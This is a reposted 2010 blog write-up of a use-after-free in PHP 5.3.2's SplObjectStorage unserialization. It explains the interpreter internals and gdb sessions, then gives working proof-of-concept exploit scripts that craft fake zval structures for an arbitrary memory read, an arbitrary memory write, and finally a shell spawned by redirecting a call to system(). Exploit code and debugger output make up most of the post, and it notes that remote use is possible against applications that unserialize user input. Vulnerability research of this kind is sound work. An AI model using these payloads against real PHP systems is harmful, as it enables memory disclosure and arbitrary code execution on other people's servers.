june 2011: This is an article I originally posted on the nibbles microblog on july 3rd 2010, but the blog went down (permanently ?) a few days ago so i decided to re-post it here. Thanks again to everyone who contributed to this article (real, myst and others).
Hello everyone ! Today, i'm going to talk about the latest PHP vulnerability discovered by Stefan Esser and published on the 25 of june. You can read the advisory here. Esser did not publish many informations regarding this new vulnerability because of its "dangerous nature", and probably the fact that it's still unpatched. He only posted few indications and the output of a working exploit without its source code. I never myself really looked into the interpreter's source code, and decided this was the perfect opportunity to start.
According to the advisory, the vulnerability is caused by the way SPLObjectStorage handle unserialization. For those of you who are not familiar with PHP, the serialize() function allows you to convert native php data types (arrays, objects) to a string. unserialize do the opposite and convert a string to a php variable. Those two functions are straightforward to use:
<?php $var = new stdClass; // it works with objects too ! $var->attrib1 = "this attribute contains string"; $var->attrib3 = 777; $var->attrib4 = array("this", "is", "a", "php", "array"); $var_s = serialize($var); print 'serialize($var) = '.$var_s; // now we can convert the serialized data back and // print the original variable for comparison print '$var vs unserialize(serialize($var)):'; var_dump($var); var_dump(unserialize($var_s)); ?>
If you run this code, you will see that the (un)serialized variable is identical to the original one. Of course, many programming languages implement similar features.
When PHP unserialize an object, the corresponding class should be defined, or it will returned it as an object of type "__PHP_Incomplete_Class". Optionally, a class can implement the Serializable interface to handle serialization manually. Some classes provided by the "SPL" (Standard PHP Library) implement this interface and do serialization themselves. This is the case for the SplObjectStorage class. This class provide a simple way to store objects, optionally with additional data.
<?php $objst = new SplObjectStorage; $mystack = new SplStack; $myheap = new SplMinHeap; $objst->attach($mystack, "yo dawgz, i hear u like objects, so i put an object in ur object..."); $objst->attach($myheap, "im in ur heapz overflowin ur stack"); ?>
Here is the source code for SplObjectStorage's custom unserialization function. This function only takes one argument, the string to unserialize. If you unserialize() a string containing a SplObjectStorage, SplObjectStorage->unserialize will be called automatically to handle the unserialization of the object. Line 652 spl_object_storage_attach() is called to attach pentry and pinf to the current instance of the class. pentry and pinf are actually the object to insert and the data associated with the object. The reference counter is then decremented for pentry and pinf. The source code for spl_object_storage_attach should be interesting. According to the advisory this is where the actual vulnerability is located.
void spl_object_storage_attach(spl_SplObjectStorage *intern, zval *obj, zval *inf TSRMLS_DC) /* {{{ */ { spl_SplObjectStorageElement *pelement, element; pelement = spl_object_storage_get(intern, obj TSRMLS_CC); if (inf) { Z_ADDREF_P(inf); } else { ALLOC_INIT_ZVAL(inf); } if (pelement) { zval_ptr_dtor(&pelement->inf); pelement->inf = inf; return; } Z_ADDREF_P(obj); element.obj = obj; element.inf = inf; #if HAVE_PACKED_OBJECT_VALUE zend_hash_update(&intern->storage, (char*)&Z_OBJVAL_P(obj), sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL); #else { zend_object_value zvalue; memset(&zvalue, 0, sizeof(zend_object_value)); zvalue.handle = Z_OBJ_HANDLE_P(obj); zvalue.handlers = Z_OBJ_HT_P(obj); zend_hash_update(&intern->storage, (char*)&zvalue, sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL); } #endif } /* }}} */
This function checks if the same object has already been inserted in the private hash table intern->storage using the convenience function spl_object_storage_get(). If there is another entry with the same object, it decrement the reference counter of the previously associated data (pelement->inf), make pelement->inf point to the inf given as argument and then return. If there is no existing entry for this object, it initializes a new spl_SplObjectStorageElement and insert it in the hash table. According to the advisory:
"Because the extra data attached to the previous object is freed in case of a duplicate entry it can be used in a use-after-free attack that as demonstrated during SyScan can be used to leak arbitrary pieces of memory and or execute arbitrary code."
What we have to do is to unserialize a crafted string to trigger two calls to spl_object_storage_attach with the same object as argument. The tricky part is to find a way to call twice this function with the same object. Obviously, it is possible to create a SplObjectStorage and attach it two instances of the same class and then serialize/unserialize it, but it would not produce the intended result. We would have two objects of the same type with different memory addresses. If you read the list of type-letters for serialized value, you can see something interesting. The letters 'r' and 'R' allow us to reference variables previously declared in the serialized string. An array of previously parsed variables is maintained by php_var_unserialize, the function that process pieces of the serialized strings. This array is actually the declared in SplObjectStorage->unserialize() line 602. You can test this reference feature easily:
<?php $arr = unserialize('a:2:{i:0;s:4:"lulz";i:1;R:2;}'); var_dump($arr); // index 1 of the array contains a reference to index 0 // if we modify the reference, it also modifies the original one: $arr[1]='1337'; var_dump($arr); ?>
Now, what we have to do is to create a SplObjectStorage, attach the same object twice and serialize it:
<?php /* * $objst = new SplObjectStorage; * $someobj = new stdClass; * $objst->attach($someobj, "AAAA"); * $objst->attach($someobj, "BBBB"); * echo serialize($objst); * * output: C:16:"SplObjectStorage":46:{x:i:1;O:8:"stdClass":0:{},s:4:"BBBB";;m:a:0:{}} * as you can see, it doesn't work! we cannot attach the same instance of an object twice. * We will have to edit the serialized value manually to add a 'r:' */ $objst_s = 'C:16:"SplObjectStorage":63:{x:i:2;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;m:a:0:{}}'; /* The serialized SplObjectStorage has now two entries: * 1: obj: stdClass, inf: "AAAA" * 2: obj: ref to stdClass, inf: "BBBB" */ var_dump(unserialize($objst_s)); ?>
spl_object_storage_attach() will first insert a new spl_SplObjectStorageElement with the stdClass as obj and "AAAA" as additional data, then on the second entry, it will detect a duplicate since the object was already inserted. The reference counter to "AAAA" will be decremented and "BBBB" will be the new additional data (pentry->inf) for our stdClass. Let's verify that in gdb:
(gdb) b spl_object_storage_attach Breakpoint 1 at 0x81c4c89: file /home/gu1/php-5.3.2/ext/spl/spl_observer.c, line 141. (gdb) r -a Starting program: /home/gu1/php-5.3.2/sapi/cli/php -a [Thread debugging using libthread_db enabled] Interactive mode enabled <?php var_dump(unserialize('C:16:"SplObjectStorage":63:{x:i:2;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;m:a:0:{}}')); ?> Breakpoint 1, spl_object_storage_attach (intern=0x86fec68, obj=0x86fedb4, inf=0x86ffea4) at /home/gu1/php-5.3.2/ext/spl/spl_observer.c:141 141 pelement = spl_object_storage_get(intern, obj TSRMLS_CC); (gdb) printzv obj [0x086fedb4] (refcount=1) object(stdClass) #2(0): { } (gdb) printzv inf [0x086ffea4] (refcount=1) string(4): "AAAA" (gdb) c Continuing. Breakpoint 1, spl_object_storage_attach (intern=0x86fec68, obj=0x86fedb4, inf=0x86ffef4) at /home/gu1/php-5.3.2/ext/spl/spl_observer.c:141 141 pelement = spl_object_storage_get(intern, obj TSRMLS_CC); (gdb) printzv obj [0x086fedb4] (refcount=2) object(stdClass) #2(0): { } (gdb) printzv inf [0x086ffef4] (refcount=1) string(4): "BBBB" (gdb) c Continuing. object(SplObjectStorage)#1 (1) { ["storage":"SplObjectStorage":private]=> array(1) { ["000000006becfaa4000000006c7e449f"]=> array(2) { ["obj"]=> object(stdClass)#2 (0) { } ["inf"]=> string(4) "BBBB" } } } Program exited normally.
o/ it works.
Still in gdb, we are going to check the number of reference to "AAAA" after the second call to spl_object_storage_attach:
(gdb) r -a Starting program: /home/gu1/php-5.3.2/sapi/cli/php -a [Thread debugging using libthread_db enabled] Interactive mode enabled <?php var_dump(unserialize('C:16:"SplObjectStorage":63:{x:i:2;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;m:a:0:{}}')); ?> Breakpoint 1, spl_object_storage_attach (intern=0x86fec68, obj=0x86fedb4, inf=0x86ffea4) at /home/gu1/php-5.3.2/ext/spl/spl_observer.c:141 141 pelement = spl_object_storage_get(intern, obj TSRMLS_CC); (gdb) c Continuing. Breakpoint 1, spl_object_storage_attach (intern=0x86fec68, obj=0x86fedb4, inf=0x86ffef4) at /home/gu1/php-5.3.2/ext/spl/spl_observer.c:141 141 pelement = spl_object_storage_get(intern, obj TSRMLS_CC); (gdb) b spl_observer.c:148 Breakpoint 3 at 0x81c4cb2: file /home/gu1/php-5.3.2/ext/spl/spl_observer.c, line 148. (gdb) c Continuing. Breakpoint 3, spl_object_storage_attach (intern=0x86fec68, obj=0x86fedb4, inf=0x86ffef4) at /home/gu1/php-5.3.2/ext/spl/spl_observer.c:148 148 zval_ptr_dtor(&pelement->inf); (gdb) printzv pelement->inf [0x086ffea4] (refcount=1) string(4): "AAAA" (gdb) next 149 pelement->inf = inf; (gdb) printzv pelement->inf [0x086ffea4] (refcount=0) string(4): Cannot access memory at address 0x0 (gdb) next 166 } /* }}} */ (gdb) next zim_spl_SplObjectStorage_unserialize (ht=1, return_value=0x86fed98, return_value_ptr=0xbfffbb5c, this_ptr=0x86fdbc8, return_value_used=1) at /home/gu1/php-5.3.2/ext/spl/spl_observer.c:653 653 zval_ptr_dtor(&pentry); (gdb) ptype var_hash type = struct php_unserialize_data { void *first; void *first_dtor; } (gdb) print *(var_entries*)var_hash->first $1 = {data = {0x86fedb4, 0x86ffea4, 0x86ffef4, 0x86ffef4, 0x0 <repeats 1020 times>}, used_slots = 4, next = 0x0}
pelement->inf's reference counter is at 1 and it is decremented using zval_ptr_dtor() line 24, which means the zval struct and the string it was pointing to ("AAAA") are freed. But we can see, back in SplObjectStorage->unserialize that var_hash, the array containing pointers to all variables previously parsed by php_var_unserialize still contains a pointer to the old pelement->inf that was just freed. It means we can get a reference to invalid memory using references in our serialized string !
What can we do with this, you ask ? If we control memory allocation to some extent, it should be possible to allocate a fake zval struct at "AAAA"'s zval struct old address. This would theoretically allow us to read or write anywhere in memory. I should probably talk a bit more about the zval struct before showing you the POC. zval is an essential struct in the PHP interpreter. It is used to represent a php variable.
struct _zval_struct { /* Variable information */ zvalue_value value; /* value of the variable */ zend_uint refcount__gc; /* number of references */ zend_uchar type; /* variable type (null,long,double,bool,array,object,string,ressource) */ zend_uchar is_ref__gc; /* boolean: is this a reference */ }; typedef union _zvalue_value { long lval; double dval; struct { char *val; int len; } str; HashTable *ht; zend_object_value obj; } zvalue_value;
We are going to have to craft a fake zval struct to achieve our evil goal: pwning php. Finaly, here is a working POC who leak memory at an arbitrary address.
<?php /* # The text in braces is 73 characters long and define a SplObjectStorage. C:16:"SplObjectStorage":73:{ # The SplObjectStorage has 3 entry x:i:3; # obj: stdClass # inf: "AAAA" O:8:"stdClass":0:{}, s:4:"AAAA";; # obj: ref to stdClass # inf: "BBBB" r:1;, s:4:"BBBB";; # obj: ref to "BBBB" # inf: ref to "AAAA" # Note: at this point, the ref to "AAAA" is already invalid since it was # freed when the previous entry was processed # Note 2: we have to use R instead of r. 'r' should be used for multiple # variables refering to the same instance of a class and 'R' for # real references (with zval->is_ref__gc set to true). r:3;, R:2;; # property of the object that could have been set manually m:a:0:{} } */ $fakezval = pack( 'IIII', // unsigned integer (machine dependent size and byte order) 0x08048000, // this is where the "string" begin: the address to leak 0x0000000f, // the length of the string 0x00000000, // refcount 0x00000006 // data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RESS=7 ); $objst = unserialize('C:16:"SplObjectStorage":73:{x:i:3;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;r:3;,R:2;;m:a:0:{}}'); $objst->rewind();$objst->next(); // we move the internal pointer to the second element in the SplObjectStorage for($i = 0; $i < 5; $i++) { $v[$i]=$fakezval.$i; // we repeat the same value several times to overwrite the zval that was freed } /* if you are on linux this should print 16 characters at the adress 0x08048000 which is generally the beginning of the executable in memory. */ echo $objst->getInfo(); ?>
This POC should work out-of-the-box with PHP 5.3.2 cli/cgi/mod_php with or without the Suhosin-Patch applied. Some modifications may be required to make it work with PHP < 5.3.2. Here is the output of the script on my computer:
[gu1@0wZd4W0rld php-5.3.2]$ ./sapi/cli/php ../ownz.php | hexdump -C 00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 |.ELF...........| 0000000f
We leaked the begining of the executable file in memory o/
Because we have complete control over the zval we overwrite, we can chose the type we want. If you run the POC above and change the data type from string (6) to object (5) you will notice something potentially interesting...
(gdb) r -a Starting program: /home/gu1/php-5.3.2/sapi/cli/php -a [Thread debugging using libthread_db enabled] Interactive mode enabled (same POC as above, i just changed the data type) Program received signal SIGSEGV, Segmentation fault. 0x082d27ee in _zval_copy_ctor_func (zvalue=0x86ff2a4) at /home/gu1/php-5.3.2/Zend/zend_variables.c:141 141 Z_OBJ_HT_P(zvalue)->add_ref(zvalue TSRMLS_CC); (gdb) bt #0 0x082d27ee in _zval_copy_ctor_func (zvalue=0x86ff2a4) at /home/gu1/php-5.3.2/Zend/zend_variables.c:141 #1 0x081c4af3 in _zval_copy_ctor (ht=0, return_value=0x86ff2a4, return_value_ptr=0x0, this_ptr=0x86fdbe8, return_value_used=1) at /home/gu1/php-5.3.2/Zend/zend_variables.h:45 #2 zim_spl_SplObjectStorage_getInfo (ht=0, return_value=0x86ff2a4, return_value_ptr=0x0, this_ptr=0x86fdbe8, return_value_used=1) at /home/gu1/php-5.3.2/ext/spl/spl_observer.c:507 #3 0x0831c635 in zend_do_fcall_common_helper_SPEC (execute_data=<value optimized out>) at /home/gu1/php-5.3.2/Zend/zend_vm_execute.h:313 #4 0x082f4439 in execute (op_array=0x86fc844) at /home/gu1/php-5.3.2/Zend/zend_vm_execute.h:104 (...) (gdb) x/i $eip => 0x82d27ee <_zval_copy_ctor_func+46>: call *(%eax) (gdb) i r eax 0xf 15 ecx 0x0 0 edx 0x0 0 ebx 0x86ff2a4 141554340 esp 0xbfffbc30 0xbfffbc30 ebp 0xbfffbc78 0xbfffbc78 esi 0x1 1 edi 0x0 0 eip 0x82d27ee 0x82d27ee <_zval_copy_ctor_func+46> eflags 0x210297 [ CF PF AF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/8x $esp 0xbfffbc30: 0x086ff2a4 0x00000012 0x086ff29c 0x0860d1d8 0xbfffbc40: 0x0000001c 0x00000014 0xbfffbca8 0x082b6c7a (gdb) x/4x 0x086ff2a4 0x86ff2a4: 0x08048000 0x0000000f 0x00000000 0x00000005
PHP segfault on a call *eax, and we control eax. Plus, the first value on the stack is a pointer to our crafted zval :) To understand why this happens, let's go back the declaration of the zval struct. The zvalue_value union is used to represent the value itself. For objects, the union contains a zend_object_value struct. Here is its definition:
typedef unsigned int zend_object_handle; typedef struct _zend_object_handlers zend_object_handlers; typedef struct _zend_object_value { zend_object_handle handle; zend_object_handlers *handlers; } zend_object_value;
zend_object_handlers is a struct containing function pointers to "handlers", functions that do basic tasks on an object: incrementing the reference counter, getting/setting a property... On our fake zval, *handlers points to 0x0000000f, and when we try to get a reference our fake object with $a->getInfo(), a segfault occurs because PHP tries to call the add_ref handler to increment the reference counter for the (non-existing) object.
We could probably execute arbitrary code with this, but to make exploitation easier, we are going to search for a way to write in memory. If we try to modify the value returned by getInfo in the POC...
<?php $fakezval = pack('IIII', 0x08048000, 0x0000000f, 0x00000000, 0x00000006); $objst = unserialize('C:16:"SplObjectStorage":73:{x:i:3;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;r:3;,R:2;;m:a:0:{}}'); $objst->rewind(); $objst->next(); for($i = 0; $i < 5; $i++) { $v[$i]=$fakezval.$i; } $v = $objst->getInfo(); $v[0] = 'a'; var_dump($v); ?>
...It will not actually modify data at 0x08048000 because getInfo() copies the value before returning it. It will only modify a copy of 0x08048000 on the heap. The function that handle the copying is the same one that caused a segfault earlier with the fake object, _zval_copy_ctor_func. If you look closely, you might notice that this function does not copy all the values in an array (or an object). So, in order to write in memory, we are going to have to modify the serialized string to put the reference to invalid memory (R:2;) in an array. That way, when we call getInfo(), the "fake string" pointing at 0x08048000 will not be duplicated.
<?php $fakezval = pack( 'IIII', 0x085f5e20, // put a writeable address here 0x0000000f, 0x00000000, 0x00000006 ); // The serialized string is almost the same as before, only we "free" two strings, // "AAAA" and "BBBB" because the array's zval will use the first free memory available, // so we would not have been able to overwrite the zval since it would already be in use. $objst = unserialize('C:16:"SplObjectStorage":93:{x:i:4;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;r:1;,r:1;;R:3;,a:1:{i:0;R:2;};m:a:0:{}}'); $objst->rewind(); $objst->next(); for($i = 0; $i < 5; $i++) { $v[$i]=$fakezval.$i; } $b = $objst->getInfo(); var_dump($b); $b[0][0] = 'a'; var_dump($b); ?>
Let's run it in gdb:
(gdb) watch *0x085f5e20 Watchpoint 1: *0x085f5e20 (gdb) r -a Starting program: /home/gu1/php-5.3.2/sapi/cli/php -a [Thread debugging using libthread_db enabled] Interactive mode enabled (...) array(1) { [0]=> string(15) "" } Hardware watchpoint 1: *0x085f5e20 Old value = 0 New value = 97 zend_assign_to_string_offset (execute_data=0x872e0e0) at /home/gu1/php-5.3.2/Zend/zend_execute.c:635 635 if (value_type == IS_TMP_VAR) { (gdb) c Continuing. array(1) { [0]=> string(15) "a" } Program received signal SIGSEGV, Segmentation fault. gc_remove_zval_from_buffer (zv=0x870007c) at /home/gu1/php-5.3.2/Zend/zend_gc.c:265 265 GC_REMOVE_FROM_BUFFER(root_buffer);
So, now that we can write anywere, read anywere and execute code, let's do something completely useless and yet strangely gratifying: spawning a shell.
<?php $fakezval = pack( 'IIII', 0x085f5e20, // any writeable address sould do 0x0000000f, 0x00000000, 0x00000006 ); $fakezval2 = pack( 'IIII', 0x00006873, // sh\0 0x085f5e20, // the address from $fakezval 0x00000000, 0x00000005 ); $objst = unserialize('C:16:"SplObjectStorage":93:{x:i:4;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;r:1;,r:1;;R:3;,a:1:{i:0;R:2;};m:a:0:{}}'); $objst->rewind(); $objst->next(); for($i = 0; $i < 5; $i++) { $v[$i]=$fakezval.$i; } $b = $objst->getInfo(); $b[0][0] = "\xb0"; // system's address $b[0][1] = "\x90"; $b[0][2] = "\xce"; $b[0][3] = "\xb7"; $objst2 = unserialize('C:16:"SplObjectStorage":73:{x:i:3;O:8:"stdClass":0:{},s:4:"AAAA";;r:1;,s:4:"BBBB";;r:3;,R:2;;m:a:0:{}}'); $objst2->rewind(); $objst2->next(); for($j = 0; $j < 5; $j++) { $w[$j]=$fakezval2.$j; } $c = $objst2->getInfo(); ?>
This POC only work with ASLR off, but it should be possible to bypass it rather easily since we can read anywhere in memory.
[gu1@0wZd4W0rld php-5.3.2]$ setarch i686 -R ./sapi/cli/php ../test.php sh-4.1$ # i ownz u
A setuid php with safe-mode/openbasedir. I think this is a great level idea for Ivan's wargame, right ? :)
It's time to conclude this article. The POCs i posted here are not very useful since they can only be used in local, but it should be possible to remotely exploit this vuln if a PHP application use unserialize() on user input. Stefan Esser seems to have done so in his unpublished exploit. A patch was commited on PHP's SVN a few days ago, but a new version has not been released yet. Btw, I would like to thank Mysterie for his help and also real for the countless hours he spent reading and testing with me. The credit for finding a way to write in memory goes to him. Thanks guys ;)
Bye.


